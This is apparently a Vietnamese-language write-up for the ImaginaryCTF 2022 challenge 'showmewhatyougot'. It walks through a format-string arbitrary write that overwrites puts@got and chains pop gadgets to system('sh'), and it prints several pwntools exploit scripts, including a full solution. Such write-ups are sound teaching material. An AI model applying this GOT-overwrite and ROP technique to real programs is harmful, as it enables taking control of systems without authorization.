🌏showmewhatyougot - ImaginaryCTF 2022

(Chall này mình lấy lại của 1 anh trên youtube để viết)

Challenge

Script

Tức là khi trỏ tới dev/null thì flag đọc được sẽ không hiện ra màn hình... Vì vậy việc ret2win là bất khả thi. Vậy chỉ còn dựa vào các ROPgadget để đọc được nó.

Ở đây, mình sẽ RCE nó để đọc flag chứ không đọc qua script (bởi ví tôi thấy có hàm system trong binary nên tôi sẽ tận dụng nó luôn).

Ngay sau format string ta chỉ có duy nhất 1 lệnh call đó là call0x401090puts@plt.

Bởi vậy tôi sẽ overwrite luôn địa chỉ của puts@plt. Và điều chú ý hơn đó là địa chỉ got của puts địa chỉ mà bạn thấy trên ảnh chỉ là địa chỉ plt của nó. Không có nghĩa lý gì khi bạn ghi đè lên đó.

Đây là địa chỉ got (got entry) của puts trước khi puts được thực thi. Khi puts được chạy thì đây là địa chỉ trong libc của nó.

Việc của mình bây giờ sẽ làm tìm cách thay đổi địa chỉ này thành địa chỉ của các ROPgadget để win.

Vậy thì thay đổi như nào ?

Đó là sử dụng arbitrary write của format string. Cụ thể là tôi sẽ ghi địa chỉ của gadget pop rdi; ret vào puts@got.

Script sẽ như sau:

from pwn import *

elf = context.binary = ELF("./vuln")
r = elf.process()
gdb.attach(r, 
'''
    b*main+144\n
    c
''')
###############
#  ROP chain  #
###############
pop_rdi_ret = 0x0000000000401323
puts_got = 0x404018
###############
#   Exploit   #
###############

payload = b"%10$n%4199203p%9$n------" #24bytes(offset 6, 7, 8)
#puts_got: \x20\x38\xe4\xf7\xff\x7f\x00\x00
payload += p64(puts_got) #Offset 9 : \x20\x38\xe4\xf7 --> \x23\x13\x40\x00
payload += p64(puts_got+4) #Offset 10 : \xff\x7f\x00\x00 --> \x00\x00\x00\x00 

r.sendline(payload)
r.interactive()
Trước khi chạy payload
Sau khi chạy payload

Nhưng 1 vấn đề nữa sinh ra. Đó là nó sẽ pop cái gì lên rdi ??

Vậy trong trường hợp này, thay vì pop rdi thì phải pop hết những giá trị rác trong stack ra trước. Ở đây ta cần pop ra tổng là 3 lần.

Sau khi chạy thì stack còn 1 giá trị rác nữa lên ta sẽ lấy pop 4 lần.

Vậy stack bây giờ đã không còn những thứ mà tôi vừa nhập vào.

Giờ tôi sẽ chỉnh 1 chút để nó thành pop rdi ; ret + sh + system.

Ảnh này là mình đang muốn ghi đè sh vào địa chỉ nào đó.
bạn có thể thấy phần địa chỉ có quyền write kia đã chứa 'sh'

Bạn có thể thử với đoạn payload này:

###############
#  ROP chain  #
###############
pop_rdi_ret = 0x0000000000401323
pop4_ret = 0x000000000040131c
puts_got = 0x404018
system = 0x4010b0
addr_contant_sh = 0x404500
###############
#   Exploit   #
###############

payload = b"%14$n%26739p%11$n%4172457p%13$n-" #32bytes(offset 6, 7, 8, 9)
# 4199196(pop3_ret) - 26739(binsh) = 4172457 (bytes)
#puts_got: \x20\x38\xe4\xf7\xff\x7f\x00\x00
payload += p64(pop_rdi_ret) #Offset 10
payload += p64(addr_contant_sh) #Offset 11
payload += p64(system) # offset 12
payload += p64(puts_got) #Offset 13 : \x20\x38\xe4\xf7 --> \x23\x13\x40\x00
payload += p64(puts_got+4) #Offset 14 : \xff\x7f\x00\x00 --> \x00\x00\x00\x00 

Thì thấy trên stack bây giờ chiếm 4 offset nên ta phải thay pop4_ret ---> pop5_ret. (vì ban đầu ta để là pop 4 lần thì stack của ta mới hết giá trị rác nên lần này stack tăng lên 1 thì pop thêm 1 lần nữa là được)

Nếu bạn đọc đến đây vẫn hiểu thì bạn có thể tự viết payload theo cách của mình hoặc như mình:

Bạn chỉ cần nhìn vào việc setup stack của mình là có thể làm viết được payload rồi.

Solution (full)

from pwn import *

elf = context.binary = ELF("./vuln")
r = elf.process()
gdb.attach(r, 
'''
    b*main+144\n
    c
''')
###############
#  ROP chain  #
###############
pop_rdi_ret = 0x0000000000401323
pop5_ret = 0x000000000040131b
puts_got = 0x404018
system = 0x4010b0
addr_contant_sh = 0x404500
###############
#   Exploit   #
###############

payload = b"%14$n%26739p%11$n%4172456p%13$n-" #32bytes(offset 6, 7, 8, 9)
# 4199196(pop3_ret) - 26739(binsh) = 4172457 (bytes)
#puts_got: \x20\x38\xe4\xf7\xff\x7f\x00\x00
payload += p64(pop_rdi_ret) #Offset 10
payload += p64(addr_contant_sh) #Offset 11
payload += p64(system) # offset 12
payload += p64(puts_got) #Offset 13 : \x20\x38\xe4\xf7 --> \x23\x13\x40\x00
payload += p64(puts_got+4) #Offset 14 : \xff\x7f\x00\x00 --> \x00\x00\x00\x00 

r.sendline(payload)
r.interactive()

Last updated